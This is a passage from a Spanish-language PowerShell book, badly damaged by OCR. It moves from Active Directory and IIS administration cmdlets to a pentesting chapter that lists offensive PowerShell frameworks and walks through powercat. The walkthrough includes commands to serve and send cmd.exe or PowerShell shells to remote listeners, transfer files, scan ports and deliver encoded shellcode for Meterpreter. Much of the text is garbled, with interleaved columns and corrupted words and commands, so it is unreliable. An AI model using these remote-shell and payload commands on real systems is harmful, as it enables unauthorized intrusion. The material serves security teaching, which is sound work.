puede escribir reclas sintacticas de lenguajes de progra

i o «digo se utiliza un filtro genérico para realizar la b_ésqueda_ de umdadi:s oi'idcnzrza:lz?;
En el siguicnte €0G1E0 la letra W, y otra busqueda para cualquier usuario. Hay que ref, 1 que
cuyo nombre emmpieza po:j al: rluta d.e)l/ proveedor del directorio activo donde se encueptl cfl: el utsuarlo,
bﬂs_qlleda @ reahz'ara dezeeencuemra en el proveedor de directorio activo, sobre la raiz eles B
C:eS:_ p;soil*‘.zc:itril?i::r [ {(ObjectClass —24 ‘organi zationalUnit’) —and (name —like
Y ] -
GZtLBObliiif_Ti;izﬁitjéioilbj;i?saiz ;i?lizze;l) Eiltro con el asterisco
4para mostrar Lodos & ;

Get-BDObject —Filter i

Ejemplo 3: Adicién / Eliminacién de miembros a un grupo

)ﬂ a a d(l G Y € na ( ag l.e nbros dc mn grup: s (l'S})OI‘Je d(? }(]S (’Tndle?s Add—

& i s i é (4] "]il l rC"] i g > b= 0 I]") ana iT y e .1[ li ar I i
1{ 2 f R{’J 10ve-. 1 o pi“lﬂ('”.’hf; ¥is I':S realmel te senctllo d usuario:

."iDG."()HPi embper'y T €~/ i)(; U € M

4 un grupo.

5 rarios arigs a un grupo
fhdicicn de varios USue )
Add-ADGro

4E1 imin

1o1%,<usunaricd>

LUE = 15 ricls,<usuarieZ>
Me 2 <usuarfloLlsy 2
grupc” Members

Remove il

s s Serv}cess bién dispone de la posibilidad de ser gestionado
] 3 tambien ; .
— ; ion Services, en adelante 115, : : e ‘ wel
e h;ﬁ)l"”mnge’ comandos Powershell. Existe un modulo integl ado en las plati'(!;j R e
nwd]d?tefa me‘ﬁstintas funcionalidades para gesuonar e} entorno del gran ser 7
la cual ofrece dis z
Mierosoft.

Fc]] ( ) 2 1 b vershell peE e & H. 1M ) e esle
LC oper ativo en ei que S
dEI dlb oner dLl lTlodl 10 pr.lﬂ OWe \‘]L] d(’.].(—ﬂd d(. Si5 |-1 o . : i .
c t(.’L l){:l d(_ llk; ] ara Wf.'?d()\‘\’i' ; se dﬁ.b\. cl(.C-LdLI a j (:’.’?{;’] ae C(Ji;'”()!’ = n‘ 7 ‘-_. cmas y cdl aclel SHeas
= 4 ‘ o ; 1 I" ‘V‘ j A U a veZ cn ehtd ventana se i
"j( [ve C i {. CIe vl 3 ] THAOWS. I : 5C debe busca] £
detiv '](fS(I( trval caracterisiic (A L S » . ’ : : ‘ r f f
., " i ’. why 1 1[5 )’ hqbilital cn la Lﬂlpbta H(f'.' CHIeITas d(. C?(!””” Siracion we 2 lf-ls u lcu]"ﬁ
La]dCtLIlb“Lﬂb ae 2 . .
18 j.{}?._\-' V !?l',’] ramienltas Cf’('; AdnrnIsrdc on de []S

ra podet

instals en el servidor pa
: tra instalable en el serv
o1 2008 s e descarear un modulo ex
En Windows Server 2008 se debe descarg

zar la g Q i E,(l anie 1][ adec a Nk 1 ” n W EFVEr j.{){)g
Ve,

l stion e om Qs € /f d() ).SSJ

u 4 = 4

b/gallen

g]ecl tal) l) > 8¢ (leq a (le (le d S.U'l .e {5 l J { I ;? . "H’l SWLRHECT ()S()‘]f.ff}’”/“,‘—
> Ip /I AW, }
le uede s SC lgE(O S = . : :
].-‘ 1 [] (13])\ )Cf])PS'\J i'f#&(.lppfd*-][s ower Shc’”Sh’c’lpm %J_ L IISP() AETS h(’”‘; I p
[ASTQLL S L ST 1 ;i] WEFSs ; apin

F i 5 bilidad de utiliza
En Windows Server 2008 R2 viene instalada por defecto, pero FL; act]n;{e;?zzi,ei"; Ipstl)sgn O idor v
g . ivara cuando se mstale ¢ .
; 11S para Powershell. Se activara cu in g kil
'81(21 Odm(zjed Ta fungionalidad script y herramientas de administracion de I1S de
indique q
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l By Seleccionar servicios de funcién
> u-f;l

Antes de comenzar Selecdone los servidos de funddn que desea instalar para Servidor web {s):
Fundones de servidor Servidios de funddn: Descripcidn:
servidor web (I15)

[[] Registro ODBC -]
= [@ seaquridad

[ Autenticacon basica

[] Autenticacién de Windows

[] Autenticacién implicdta

Scripts y herramientas de
administracién de I1S proporciona una
infraestructura para administrar
mediante programacion un servidor
web de IIS 7 mediante comandos en
una ventana de comandos o
ejecutando scripts. Puede usar estas
herramientas si desea automatizar
comandos en archivos porlotes o
cuando desee evitarlasobrecarga de

administrar IIS mediante la interfaz de
usuario,

[ Autenticacion de asignaciones de certificad de d
[[] Autentication de asignaciones de certificado de o
[} Autorizadsn para URL
[¥] Filtro de solicitudes
[ Restricciones de 1P v dominio
Rendimienta
[] compresisn de conterida estatica
[_] compresién de contenido dindmico
= [E] Herramientas de administracién
[/] Conscla de administradon de IIS
Bl Scripts v herramientas de administracion de 115
[] servido de administradsn
]

Compatibilidad cor la administradén de 1156
I Compatbilidad con la metabase de IS &
[] compatiblidad con WM de 115 &

-
1 Harrmminedo s Ao cevimbios Ao 770 2
4] | »

Fig. 2.33: Instalacion del madulo en la versicn Windows Server 2008 R2.

Una vez instalado o habilitado el madulo se realizara la importacion de los cmdlets de la siguiente
manera import-modiile webadiministration. Para comprobar el niimero de cmdlets, alias y funciones

que se disponen en este nuevo médulo de gestion de T1S se puede ejecutar la siguiente instruccién
get-command —modile webadministration.

En la siguiente imagen se puede visualizar la ejecucién de ambas instrucciones ¥ una pequena lista
de emdlets, alias y funciones disponibles.

ini mport—HMo y ministration
ers\Administrador> Get—Command —Module webadministrat

Mame

Add-HebConfiguration
Add—YehConfigurationLock
Add—WehConf igurationProperty
Backup-WebConf iguration
Begin—UWebCommitDelay
Clear—UehConfiguration
Clear-—UebRequestTracingSettings
GConvertTo—UYebApplication
Dizahle—HebGlobalHodule
Disabhle-UWebRequestTracing
Enahle—-lehGlobalModule
Enable-WehRequestTracing
End-UWebCommitDela

Flig. 2.34: Importacion del mddulo de 1S (1° parte).

hndlet
Alias
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Ge t—WebfippDomain
Get—WebApplication
Get—UehfippPoonlitate
Cet—UWebBinding
Get—HehCanfigFil&
Get—HehCunfiguration
Get—uehﬂonfiguratiunBackup
Get—“ebCanfiguratinnLocatiﬂn
Get—HehCunfiguratiunLock
Get—WehCnnfiguratiunPruperty
Get—MebFilePath
Get—HehGlohalModule
Cet—\ebHandler
Cet—WebltemState
Get—HehManagedHudule
Get—lWebReguest

Get-lebsite

Cet—lebhsiteState

Get—YebURL
??E—WEhUirtualDirectnry

Fig, 2.34: Importacion del modulo de IS (2" parte).

En Windows Server 2008 no existe el emdlet import-module por lo que. tras la instalacion comentada
anteriormente, se debe gjecutar el acceso directo, creado tras la instalacion, que carga el médulo en

la Powershell.

Como dato de interés se puede obtener el ntimero de funciones. emdlets y alias disponibles

con la importacién de dicho moédulo con la siguiente instruccion (get-command —Module

webadministration).count.

El proveedor de s

Como se ha mencionado en alguna ocasion en este libro el proveedor facilita la gestion y navegacion
sobre los objetos, facilitando al administrador la manipulacion del entomno. [1S dispone de un
proveedor al cual se accede mediante la instruccion iis: o cd iis: COMO S€ puede visualizar en la
imagen de ejemplo.

ps G:\ 04./26,/2012 18:29:81 > cd iis:
PSS I1S:N\Sites 04,/26/2012 18:2%:84 > 1s

Physical Path

zEystemDriuez\inetpuh\wuwvuot
G:~inetpubNftproot

Bindings

1D State

Started
Started

http *:80:

Default Web Site 1
2 ftp *:21°

Fig. 2.35: Acceso Y listado de recursos en el proveedor de IIS.

s cmdlets

En ¢l proveedor s¢ pueden utilizar los emdlets basicos, pero lo maés interesante es utilizar lo
que aporta el modulo de I1S para Powershell. Para la navegacion entre los distintos elementos
proveedor se utiliza el ¢mdlet set-location. Cuando se realiza un listado sobre una ruta que contie
aplicaciones, por ejemplo sobre la ruta [IS:\Sites, se puede visualizar como ¢ detalla el estado d¢
aplicacion, en gjecucion o parada, la ruta fisica donde se aloja el contenido de |
puertos y protocolos estan atadas dichas aplicaciones.

[

a aplicacion y 885
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Gestion de sitios

0s .[,L ] !l(,('[ 10/ POOLE O 20 } aci S8 ) 2 )
2L O p 20! Uli de a] ]iﬁ.d(.[one 50N I racesos q“e dagrupan un col i d l
- L junto ae ap ll.'c][.ioﬂe\

LUS /](')(}! deﬁ]]&]‘l al'.-_‘unos S S de Seg "I el ( .e aes de las aue =
- ] ‘ 2 d pGClO LT l' y l 1 (iﬁ = l{' ] > i 3 S :
d i IIUUO/. b 'clp 1caciones (,IUL e e]’LCUlai‘l

Para crear unnuevo voo! de aplicaci :
F plicaciones se puede ejecutar el enmidlet nev-webAppPool o direct
rectamente

eiecutar un emdlel basi : P
. ) ba SleJ como es new-iten indicando como ruta la del prov
nev-item 1S \AppPools\<nombre nuevo pool> proveedor IIS, por ejemplo.,

PS C:\ B4/26,2812 22:03:
S : =49 >
B4/26,26812 22:83:58 > New—UebAppPool pooll64d

Name
Applications

pooll64 Started

S c N B = = = =
4/26/2812 22 B4:06 > new i1tem IIS \Flp DD]. \puulPa]Jl
P - t } 2 {1]

Applications

Started Default Webh Site

Started yes

Started
Started

Fig. 2.36: Creacis
g. 2.36: Creacion de un pool de aplicaciones

A continuacic :
acion se especific .
il sskfin] ] can distintos comandos que pucde” s utilis
pool de aplicaciones. er utilizados para la gestion de los

F -2ty 1 LS

Cmdlet
Descripeion

Ger-WebAppPoolState

P—

Indica el es =
ael estado en e.l que se encuentran los distintos pool de
aplicaciones de la maquina _

Elimina el poo se especifi i
- }M; el / m.u' que se especifique junto al emdler. También
se podria eliminar con remove-item 11S:\AppPools < }' i :
SidppPools\<nombie
jJr'n)fl?-‘

Remove-WebAppPool

—

Restart-1f ebAppPool
-_————-.___;

Stop-1 ebAppPool

lcla ¢ Cc < Lo, (5= O ld dCIONES
Ee cla /)(J()II(I 1plicacio S, dele endo 1as & C
2 DLECd . b
dasoc dda:‘. a L‘]

.Srm‘r-H’ch.'!,';pl)no/ Setel e & aplicuciones

Arranca el pool de aplicaciones especificado

Tabla 2.14: €
2.14: Cidlets para la gestién del pool de-aplicaciones
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B
. La creacién de una aplicacion web dispone de 3 partes diferenciadas, en primer lugar s¢ debe crear
A la aplicacion, en segundo lugar asociarla a un pool de aplicaciones que la ejecute y en fercer lugar Cmdlet —

1 realizar la copia de la carpeta que dispone el contenido del sitio web a la ruta de la aplicacion. Sart-WebSite cripcion
: Arranca un siti

o i0 v
Stop-WebSite Deti . 5 b
etiene la gjecucion de un sitio web

ew-webapplication. Los parametros necesarios

Para crear una aplicacion web se dispone del cmdlet n
Jlicationpool. En €l siguiente ejem lo e

apf ! e = JeInpio 5o Tabla 2.16: Cmdlets para la gestion de sitios el
= b 5 WeD.

para la correcta creacidn son name, site, physicalpath'y
puede visualizar la creacion de una aplicacion web la cual se ejecuta en el pool indicado y cuya ruta

y i , ) —r La gestion de los sitios F & y
¢ especifica mediante el parametro physicalpath. = TP desde PowerShell es realmente sencilla. Se dispone de |
. un solo cmdfer

gue utilice 1a semdntica FTP Sife, el c :
(}e ciccutar el cmdlet P Site, el cual es new-webfipsite. Los pardmetros mas utilizac
] et son name, port, physicaipath, hostheader e ipadd RO &
: ress.

fisica también s
C:Ninetpubiuw

# —PhysicalPath

PS C:zNinetpub 9472672012 22:30:59 > New-Mlebfipplication —name ig4p —Site vdefault web site

—npplicatinnl’oul poolPablo
plication pool Protocols

pS C:\inetpub B4/26/2812 23:43:
p -1PAddress 9572072017 232432275 New-WebRtpSite —Name pabloFIP' —Port 21 —P
—PhysicalPath C:\inetpubs\uk
wuw —HostHeader myFI

Physical Path

http
Fie. 2.37: Creacién de una licacion web.
i D etz Ip  State  Physical Path s
) . ) ) . ) . ) pabloFTP 3 Started C:NinetpubNu F~-—-§:
A continuacién se especifican emdiets dedicados a la gestion de las aplicaciones web contenidas en e £87122:8.8.1 :21:uyFIP
am, = 23:44:58 > Get—Websi
los sitios web. s o ctoficheite
befa TS T e Bindings
Dafault Web Site 1 Stepped = #8ustenmDeiversi el
= e ,’,‘;ﬂ,mp g §‘é:$§:g c_\_n:?pE;::;;;g;:l’ub\uwuruot a::p =:0: .
Cmdlet Descripcion 2ianetoub\inc Fep 127.0.8.142
Fio 2 s .
Fig. 2.39: Creacién de un sitiv FTP en Powershell

Lista las aplicaciones web contenidas en un sitio web

Get-WebApplication

El hackup es uno de | yolel: i
: S Uno 0s proces as ¢ ; i
dia a dia. El modulo de IFQ U;'SS mas costoso y delicado al que se enfrenta un administrad

. I S e wwershell dic : ’ e
o } e owershell dispone de un emdler para realizar g ad
seguridad de la configuracién del servidor. Es realment - [“ a realizar el proceso de copia de
con la simple ejecucion del emdlet back : S b ol :
.. ) . el emdlet backup-webconfiguration se produce i s i
configuracion del servidor. a PrOGEE (3. prpnt Ga g 2o o

Elimina una aplicacion web

Remove-WebApplication
orio virtual en una aplicacion web

Permite convertir un direct

ConvertTo-WebApplication

Tubla 2.15: Cmdlets para la gestion de aplicaciones web.

v-website. Las aplicaciones web se

o web se dispone del cmadlet nev
fica un ejemplo para la creacion

Para la creacién de un siti

concentraran en los distintos sitios web. A continuacién se especi PS C:\inetpub B4,27/2012 BA:11:35 > Backup—MehConfi

de un sitio web. cndlet Backup-HehConfiguratd _1’- ’e onf iguration
siggzig;"?g valares para logugaﬁgmﬁpgfs:‘?“’! 1 de la canalizacién d

Name: i64 para obtener Ayudad. S sagulentesc e comandos

PS C:Ninetpub B4/26/2012 93:07:17 > Neu-Vebsite -Name i64 -Fort 8@ -HostHeader testib4 —PhysicalPath Senu:SystenDrivenin
stpubhtestibd
Name

i64

Creation Date

27/,04,2812 B:00:00

Physical Path
Started C:Ninetpubitestibd http %:g@:testibd

pS C:Ninetpub B4/26,2012 23:07:19 > Get-Website
State Physical Path Bindings
sninetpubiuwuroot httyp »*:007

Stopped '} nDrive:
Staprted s\inetpubxtestitd http w:8@:testibd

PS -el: a 7/28 g =45 t-WehConf igur tlB!IBaCkll[J
pub 4,27/,2812 80:14 > Ge q A

Creation Date

Fig. 2.38: Creacion de un sitio web. .
los 27,84/2012 B:00:08

A continuacién se especifica una tabla que resume los emdlets relacionados con la gestion de
Fio. 2.40: Creaeid

g 2.40: Creacidn del backup de la confieuracion de un sitio wel

I ‘ b

sitios web en Powershell.

(.l\n L‘l i s ¥
I'-”HH(,",’ Tel-w ‘/(' 1 7 g S I
& enceo ' 0aci ] I
l I?ﬁ‘gf” (1[{0”15(?[/\?#) se li.‘tan |GS d]ftinlOS a Chi\«'()s dt i i
3 ! c C()p]ﬂ ac seg Lll‘id’-ld d -
(=] % £

Cmdlet Descripeion a configuracion de los sitios w

: : o P_ . W ¢ los sitios web. El cimdlet remove-webconficurationbaci " ;

Get-WebSite Lista los sitios web disponibles en s ad realizadas previamente sobre ¢l servido o el eliming las copias de
5 sidor.

Gel-WebSiteState Indica el estado de ejecucion de los sitios web disponibles et

Remove-WebSite Elimina un sitio web

- - T SRR
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Capitulo I1I
PowerShell puro: El arte del pentesting

1. Introduccion

Desde hace unos afios PowerShell viene en las versiones de Microsoft Windows y cada vez ofrece
més posibilidades para poder interactuar con todo el sistema. ya sea cliente o servidor. Poco a
poco han ido apareciende herramientas que interactuando con los médulos que Microsoft ha ido
desarrollando sobre directorio activo. SOL Server. Sharepoint. 11S, etcétera. pueden ayudar a los
pentesters en una auditoria. La fuerza de PowerShell es que estd basado en .NET, por lo que licne
tedo el potencial del fiamework al aleance de la consola. Ademés, ser una consola de objetos le da
una [uerza importante a PowerShell,

Durante los Gltimos afios se han ido desarrollando diversos scripts, incluso algunos frameworks.,
orientados a la auditoria. Las herramientas estén desarrolladas para dar soluciones en diversas
tematicas como es la respuesta ante incidentes, la fase de post-explotacién de un pentest, evasion
de elementos de seguridad como puede ser un antivirus, la fase de recopilacién de informacion.
orientadas a la escalada de privilegio en la fase de explotacion, eteétera. A continuacion, se enumeran
algunos de los frameworks y herramientas més conocidas y utilizadas:

- Lamnavaja suiza traducida y mejorada a PowerShell denominada powercat.

- PowerTools es una parte del famoso ficmmework Veil-Framework. Con este conjunto de

herramientas se podra llevar a cabo chequeos de configuraciones erréneas en maquinas y

realizar escaladas de privilegio. Ademas, permite recopilar gran cantidad de informacion

sobre los dominios Microsoft, usuarios, equipos, recursos compartidos, etcétera.

- Posh-SecMod. Este conjunto de seripts desarrollados por Carfos Pérez proporcionan

funcionalidades para recopilar informacién. automatizacién de escineres como Nessuts,

funcionalidades de post-explotacién, funciones para auditar el sistema. funciones para

interactuar con la API de VirusTotal, Shodan o Metasploit.

= PowerSploit. Este framework dispone de scripts para llevar a cabo gjecucion de codigo

sobre maquinas Windows., recopilacion de informacion, bypass de AV, modificacion de

scripts, generar persistencia, realizar escaneos de red, etcétera.

- Nishang. Este framework proporciona scripts para interactuar con backdoors a través

de PowerShell, ejecucion de codigo, funcionalidades para realizar escaladas de privilegio,
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recoleccion de informacion, realizacion de escaneos de puertos, realizar fuerza bruta,

pivoting. etcétera.
- Otras herramientas. Cada vez son

PowerShell. En este capitulo se podr
ayudaran al pentester a lograr el éxito en entornos Microsoft.

més las herramientas creadas para gjecutarse en
4n estudiar una gran cantidad de ellas, las cuales

s que permiten apoyarse

e explotacion Metasploit tiene algunos maodulo
ha impulsado el éxito de

Ademas, el framework d
fase de post-explotacion. Este hecho

en PowerShell para llevar a cabo la
PowerShell entre penfesiers.

que tener en cuenta que en los entornos Microsoft todo puede ser

Por Gltimo, el pentester tiene
[ codigo ejecutado en la consola pasard mas desapercibido,

realizado a través de PowerShell, y que ¢
pudiendo llevar a cabo la evasion de AV,

osfer no contard con herramientas que poder utilizar, no podra tener un

En algunos casos, ¢l peint
nmap, satori 0 una foca, pero casi siempre tendréa disponible la PowerShell.

2. Powercat: la navaja suiza

mias utilizadas en el mundo del hacking, ya que tiene una gran

[a herramienta pefcat es una de las
den llevar a cabo con la herramienta

versatilidad y flexibilidad. Entre las numerosas cosas que se pue
se muestra como ejemplo la posibilidad de conectar con diversos servidores, asociar una shell o
a un puerto concreto o colocarse a la escucha para recibir conexiones y sesiones. Netcat suele
plicaciones de red, aunque viéndolo desde un

rir puertas lraseras o hackdoors.

cmd
utilizarse para realizar operaciones de depuracion de a
punto de vista mas oscuro. podria ser utilizado para ab

A continuacion se muestran diversos parametros que son utilizados en netcar:

Tubla 3.01: Algunos parametras de netcat.

Parametro Deseripeion
/ Neteai se coloca a la escucha, Recibird una conexion y se cerrara. El puertoa
abrir se especificard con el pardmetro -p
Especifica el puerto en el que se pondrd a la escucha, o sobre el que se realizard
-p la conexion remota, dependiendo de si nefcat se utiliza para generar una
conexion o para recibirla
-1 El puerto se abre en UDP yno en TCP
5 Se utiliza con el pardmetro —/ y —p y hace que no s¢ cierre el puerto tras una
= .y .
conexién, por lo que permanece abierto
-V Modo verbose
4____-——-_‘

T
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Powercaf es un scri i . unei i
% t seript que implementa las funcionalidades de nercar. incluso aumentandolas. El
script presen funcid i s v ooy
;1 piopal.d da qzell lL'muon denominada powercat, la cual puede recibir distintos parametro
uncionalidades i g 2 j iy
' e énticas a las de nefcar. Para obtenerlo se puede descargar de la sicuiente direceid
URL Ahitps:/igithub.com/besimorhino/powercat. S

. Qué se puede hacer con powercat? La reali ' mer i
a neteat es mayor, por lo que a priori ::gﬁzg:: CIUSI .el ndmero de pardmetros de powercat respecto
cat ¢ ] . A realizar mas acciones. A nefc i
e i . . : : caf se le denomina
navaj a pero powercat aumenta las funcionalidades de ésta. Con powercar se pued li .
. - : : . e realizar
ek dmodo .cllente a un servidor remoto, o por otro lado crear un listener, es deci
n mo : ' i ' i : ’ -
plet odo servidor y esperar conexiones. Estas acciones son idénticas a las ¢ i
basicas que se pueden llevar a cabo con nercat B

Powercat permite envi i : ; .
Pl g }seCiba I]rmar y _s;f:rmr shells. Es decir, el usuario puede dejar powercat a la escucha
u 1 5
e - a conexion servir una shell, o por el contrario realizar una conexion contra d
netcat 0 powercal remoto y enviar una shefll, incluso una PowerShell otro

50:::::({1 Eegjtg; ;eil:;za'r s(ilbidra y descarga de ficheros contra otro powercar. Ademas, se permite
o il G ,.,;E? de bDP‘y D‘NS. Otra ﬁ:r?monalldad. interesante que proporciona es la
s ok elay, incluso relay entre conexiones de diferentes protocolos. Por tlti s

tiene que tener en (.:Llel‘lt'cll que esta magnifica herramienta permite realizar un e a s ',“.“0- e
puertos TCP. A continuacion se muestran los distintos pardmetros de pnwe:‘mr'n S

Parametro Descripcion
- Se deja el scripr a la escucha de conexiones
-¢ Se utiliza para realizar conexiones en modo cliente desde powercar
- Se especifica el puerto, tanto para la escucha de conexiones como para conectar
con un servidor remoto L
-¢ Ejecuta el comando que se indique a continuacién
-ep Ejecuta una PowerShell
-r Relay, cuyo formato es — feprip:puerto
-t Tréfico bajo el protocolo UDP
P Ruta al fichero de entrada, puede utilizarse en la transferencia de archivos entr
dos scripts de powercat B
af Indica la ruta al fichero de salida. puede utilizarse para indicar la ruta dénd
escribird el fichero en una subida S
~dis Transferencia de trafico sobre protocale UDP (dnscai?)
L__ep Repeticion del proceso, evitando que se cierre el puerto
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Parametro Descripcion
- Genera un payload
-ge Genera un payload encodeado

Tabla 3.02: Pardmetros de powercdl.

ercatl presenta varios parametros mas que netcat por defecto,

Como se puede visualizar, pow
ste, y simplificando algunas acciones.

ampliando las funcionalidades de ¢

Conexion simple

Con powercal s€ puede crear una conexion, por defecto por el protocolo TCP, con otros servidores.
Cuando el usuario quiere crear una conexién contra un servidor remoto s€ puede ejecutar la siguiente

ccion IP> -p <Puerto remolo a Ja escucha>. En el caso de que se
servidor, se debe ejecutar la sigujente instruccién powercal ~—p
un parametro opcional que permite cambiar el

e especificar string o bytes.

instruccion powercat —¢ <dire
quiera utilizar powercar COmo
<puerto por el que se escucha conexiones™>. Hay
formato de la salida de datos. Este parametro es el -0, dande se pued

se utilizar la aplicacion msfd, la cual permite tomar el control de la consola

En este primer ejemplo
és de powercat, mediante el uso de los parametros

de Metasploit en remoto. Qe conectard a msfd a trav
<y -
PS G:\Users\punzalez\])esktup\pu-.-Jercat—ma.ster

> Import—ﬂndule _Spouercat.psi

dvertencia de segquridad
Ejecute solo los scripts de confianza. Los archivos prgcedentes de

Internet pueden ser Gtiles. pero algunos archivos podrpian danar su equipo.
iDesea ejecutar C:\Users\pgnnzalez\Desktup\pouercat—master\powercat.psl?
[M1 No ejecutar [Z] Ejecutar una vez tU1 Suspender [?1] Ayuda

el valor predeterminado es '"N'">:Z

S C:\Users\pgonzalez\Desktop\powercat—master> pouercat —c 192 .168.56.102

The following modules could not be loaded?
[—1 /metasploit/apps/pro/msf3/mndules/payloads/singles/uindous/shﬂ
l_acl_hind_tcp.rb: LoadError cannot load such file — msf/cure/handler/huw

ag and search your hosts and services

Large pentest? List, sort. group. &
to launch it nou-.

in Metasploit Pro —— tuype *go_pro’

=[ metasploit ud.8.2-2014018161 [cope:4.8 apizl.81
s —— ——=[ 1251 exploits — 682 auxiliary — 198 post
s —— ——=[ 325 payloads - 32 encoders — 8 nops

Fig. 3.01: Conexion a Metasploil @ (ravés del cliente powercat.

r
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Dar y recibir shells

Una de las funcionalidades mas intere

P — ;Lllasjilzi;aéfn;fs de pcnve,-r.'(?f es poder recibir shells o enviarlas haci

on ¢l que se escucha> -e cmd.exe Delse?si ;ic puede utilizar [a instruccion powercar —.,'_L) ib) h}m

1 direeidn 1P dini oo Birye Jla P Ja Oli‘ma.‘ cuz’md_o el usuario se conecte al puerré inﬁi'ﬂc'gj

® il stk Sreb e, il ]~C.Y€,’ 88 podz'a gjecutar comandos remotos. Por otr ]IC& )

o1 sl pormite servit una Biwer s '3 Paranjetro —e. el cual es genérico o ro lado,
owerShell, se podria obtener un control mas pot.ez?r.f e

il]:sl] Ll Lf(’)]] a e.ecutar €8 DOWEr ro | :
S ( 1 I [, 2 <p”€f'.’0 en (3;] qll'(, SEENC H(‘hu ,"(I.S pe[f( 1 €8 - j’ o I‘
. wercat ‘ i 15 nones> /

root@kali:-# nc 192
indows PowerShell A s

opyri 1c o = S =
g ( ) 2013 | rosoft C rporatiol ALL 1gNTs reserved
IC t (C) 2013 gl ¥,

PS C:\Users\p

gonzalez\D
11Pafh5\Pablo.gnnzale; esktop\powercat-master> whoami
PS C:\Users =

ig. 3.02: Cone:; ot i Ci 4 e Ve wna Fowerdhe,
o onexron i< yslel (4 Y
X ¢l ercat a la escuch ! {
i 7 G SV i
¢ Shel

(Como enviar una shell o PowerShe : :

L S, T s s Ollgllciﬁngfdi 8 'un sa:wdor? Esta serfa la accién inversa a la estudi

<puerto en el que escucha e;’ § s llfLCIOH a ejecutar es powercat —¢ <d"""(’("C‘fr5,:r ]}) a estudiada

Enesteselemiole; S8 piris equipo f@’ff()f<1>‘ [ -¢ emd.exe | -ep ]. Dénde

9000, y des s 22 DO 0% DR Suiathucd i taoi |
, y desde Windows el usuario envia la PowerShell h

remota>= -p
—€ ¥ —€p son opcion: S
|- ' 3 : onzles
’i ; . 2% o . . -
E Islguzemr,. Instruccion ejecutada ne —/ p
acia el servidor a la escucha,

\Users\ g = = = Ll 12
H s i eZN sk pp 1] P
U »rs onzZa zN\Des to owercat—master I'Ipl:ll'l: odule N owercat S

Internet pueden SCI‘:E-P?S Jo:sonfionea, L -
. . = d za. Los arch s
tDesea ejecutar c:\ﬂggiE:’ e pe archiJ;;OSDE{QCEdenEES o
1"% No ejecutar [Z] E,iecuggf-nzalez\nesktDD\IJOHEI‘Cgt—:‘;gE sl ey
l“l'- (-?é\‘l}oa piedeterminado es -JN?;‘;?EUBZ [UT Suspender [7133;33"’61.‘:&1:-1)31?
5 G:\Users\pgonzale=\D ' : :
Pt Gy esktop\pover =

{I] e1»\pgunzalez\Desktog\gn::;2;:—$;§§§£§

PS C:\Usemsh
. sers\pgonzalez\Des
p 7088 —ep pgonzalez\Desktop\powercat—master> powercat 192
¢ .168.56.162 —

Fie. 3.03 Em 4 P eiShell a il i {iri 1bah eseie e o 14
g, 3030 Envio de une y
ovwerShell a wna me JUTRCE L7 € v escu i
& 22, Her can pero

i

Transferencia de archivos

Powere,
cal proporcion: i
i na la posibil T
Bark de ear: posibilidad de realizar transferenci
¢ equipo cliente y alizar transferencias de archiv :
e v otro (_Ie Servi - > archivos entre dos gis .
i J C idor. 08 sisteme
% puede ejecutar | or. P nas.

_ ara enviar un ficher : Uno

S : ero desde : ;

a siouiente Mstruce:s 0 desde un equipo a través ¢

escuc ) £ IMSTrUccion powercat —e . = PO a fraves de powerce

la Ucha el equipo remato> powercat — <direccidn IP ERENERE
escucha,

"‘mali?.ﬂl'sc

“fiet i 5 remoia=> -pn < =

Fieg ol T 1 <puerto en e

rute local del fichero a enviar>. De este modo !I e i
4 5 D <

través de e e T o = i
aves de powercar o netcat recibira el SN, fue SRl

por ejemplo, a
contenido del fichero como puede

en la imagen.

exto del fichero enviado!

rootigkali; # nc -T -p 9000
owercat!

Fig. 3.0); En e en € ¥, i § £ 2
g..3.(4: nvio del cont nich
e de g £
7. chero a t Ve (f{.[f) ‘ercat
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ejecutar lg 1 enie 1 fruccion pal val —L P <puerto e ) V Y O O
ec I s1gul ns Q g( ereat !‘ g ‘I 1l i
‘.] =

ido> sste modo, sia
or donde almacenar el contenido>. De f.,S g
< s o. se almacenard en larutay la

‘ Para la recepeion de un fichero se ]J;e?a
<y al del s rel
P & o 105_‘“} rmaci6n, ya sea texto o un binari
da cier 0 ,yas
: et se envia cierta In

través del socke! ! ;

i : —of.

| extensién indicada en el parametro f

visible o no. El pardmetro —noni indica que serd un
pardmetro —enc indica el codigo a ejecutar encodeado.

-\pouvercat .psi

pdvertencia de seguridad
Ejecute solo los scripts de confianza. Los archivos
rocedentes de Internet pueden

ser dtiles, pero algunos
rchivos pocll‘iali dagarksu equipo. cDesea ejecutar
IC:\Users\pgonzalez\Des
E ar puertos TCP con Powercat ers\pg
scane

KtopNpoue rcat—master\powercat . psi?
] . arametro — [N]1 No ejecutar [Z] Ejecutar una vez ‘l;lI] Suspender
: basico de puertos abiertos 4 traves del p' cion IP [?1 Ayudalel valow predeterminado es "N'">: 7 i
de realizar un escanco | % {powercat ~¢ <direccion PS G:\Users\pgonzalez\Desktop\powercat—-master> powercat —1 —p 9888 —i C:\Us
Con powercal s€ pue _L i6n (<puerto o listado de pue;-ios>) 0 Pd puertos abiertos. Como lug\pgﬂnzalsz\Desktl:op':%hel]‘.%coc\le.txt —::*ep s ‘t | 0D 1o
. icuiente instrucc win it n escaneo de a 8 C:iUsers\pgyonzalez\Desktop\pouercat-master pouwercat -1 —p B —i G:\lUs
Verbose. La 51gu1€13 ¢ _t | —Verbose—d} permite realizar un ¢ 0/ Inowercat —c 192.168.56.102 eps\pgonzalezN\Desktop\shelleade.txt —vrep
remolta a escanear= -2 b_ - la eiecucién de esta instruccion (80) | % {po remplar en la imagen PS C:NlUsershpgonzalez\Desktop\pouercat-mastep
W T ejec - de contem .
o tico se propone [a ; . o la que se pue
ejemplo prac una salida com
; —d}. a cual ofrecera
_t | —Verbose —d}.
8 -1l

> pouercat —1 —p 9088 —i C:\ls
ersh\pgonzalez\Desktophshellcode . txt —pepn

e o Fig. 3.06: Powercar sirve un fichero con la insiruecicn para efecutar
on"ale-’\])esktop\pmmrcat—master) ;
| Sg:;giel—‘s‘\ E—' - _U?:h%%% ; En la imagen se puede visualizar como se sirve con
IDF I = tream 1= | | | ” |
E}glﬁ]ﬁagg; ggz gt;‘ean gtkgg:s‘ile - shellcode en su interior. La instruccion a ejecut
Brniiane: comn mgiﬁg- to -8@ [tcpl succeeeded! -i <ruta local donde se encuentra el fichero>.
ETHLLHD%: g(‘g:gitiun to 192.168.56.182:
: e - e = - e
]}%ghkggo- Sgtgcilqgc‘;gnzztgmﬂnc%iuated. Disconnecting
DpO: — 1k ! e
E%glliaﬂbm Closing gzigam %
IDETALLADO: C1

Meterpreter:

powercat €l fichero con la instruccién y la
ar es powercat - —p <puerto en el que se escucha>

